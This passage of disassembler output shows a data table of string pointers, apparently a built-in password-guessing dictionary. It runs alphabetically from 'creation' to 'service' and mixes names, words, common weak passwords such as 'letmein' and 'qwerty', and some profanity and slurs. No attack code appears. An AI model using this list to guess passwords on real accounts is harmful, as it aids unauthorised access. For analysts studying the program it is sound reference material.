		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
off_430050	dd offset aEdges	; DATA XREF: ___:00427B70o
					; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
off_43005C	dd offset aEdition	; DATA XREF: ___:off_427A0Co
					; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
